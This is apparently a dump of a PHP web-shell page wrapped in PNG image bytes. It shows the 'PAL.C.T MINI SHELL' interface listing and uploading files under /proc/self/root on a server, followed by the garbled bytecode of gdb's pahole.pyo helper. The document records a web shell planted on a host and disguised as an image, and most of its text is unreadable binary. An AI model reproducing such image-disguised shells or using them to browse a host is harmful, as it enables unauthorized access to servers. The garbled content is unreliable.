php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/gdb/python/gdb/command/
upload
files >> //proc/self/root/usr/share/gdb/python/gdb/command/pahole.pyo

55Lc@s0ddkZdeifdYZedS(iNtPaholecBs)eZdZdZdZdZRS(sShow the holes in a structure.
This command takes a single argument, a type name.
It prints the type and displays comments showing where holes are.cCs&tt|idtitidS(Ntpahole(tsuperRt__init__tgdbtCOMMAND_NONEtCOMPLETE_SYMBOL(tself((s+/usr/share/gdb/python/gdb/command/pahole.pyRsc
Cs|djo
d}n|i}|djo
d}nddd||fGHd}x|iD]}t|dpqan|ii}||ijo#|i|}d|GH|i}n|idjo
|i}	nd|i}	d	t	|dt	|	dfG||	}|i
tijo|i
||d
|iqaddd|Gdt||ifGHqaWddd|Gd
|GHdS(Nts
%sstruct %s {t iitbitposs$  /* XXX %d bit hole, try to pack */is /* %3d %3d */is%s %sis} %s(tNonettagtfieldsthasattrttypetstrip_typedefsR
tbitsizetsizeoftinttcodeRtTYPE_CODE_STRUCTRtnametstr(
RRtlevelRRR
tfieldtftypetholet	fieldsize((s+/usr/share/gdb/python/gdb/command/pahole.pyRs6

	



	


"
cCsZti|}|i}|itijotd|ndG|i|dddS(Ns%s is not a struct typeR	iiRs              (Rtlookup_typeRRRt	TypeErrorR(Rtargtfrom_ttyR((s+/usr/share/gdb/python/gdb/command/pahole.pytinvokeCs(t__name__t
__module__t__doc__RRR!(((s+/usr/share/gdb/python/gdb/command/pahole.pyRs		&(RtCommandR(((s+/usr/share/gdb/python/gdb/command/pahole.pyt<module>s7
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`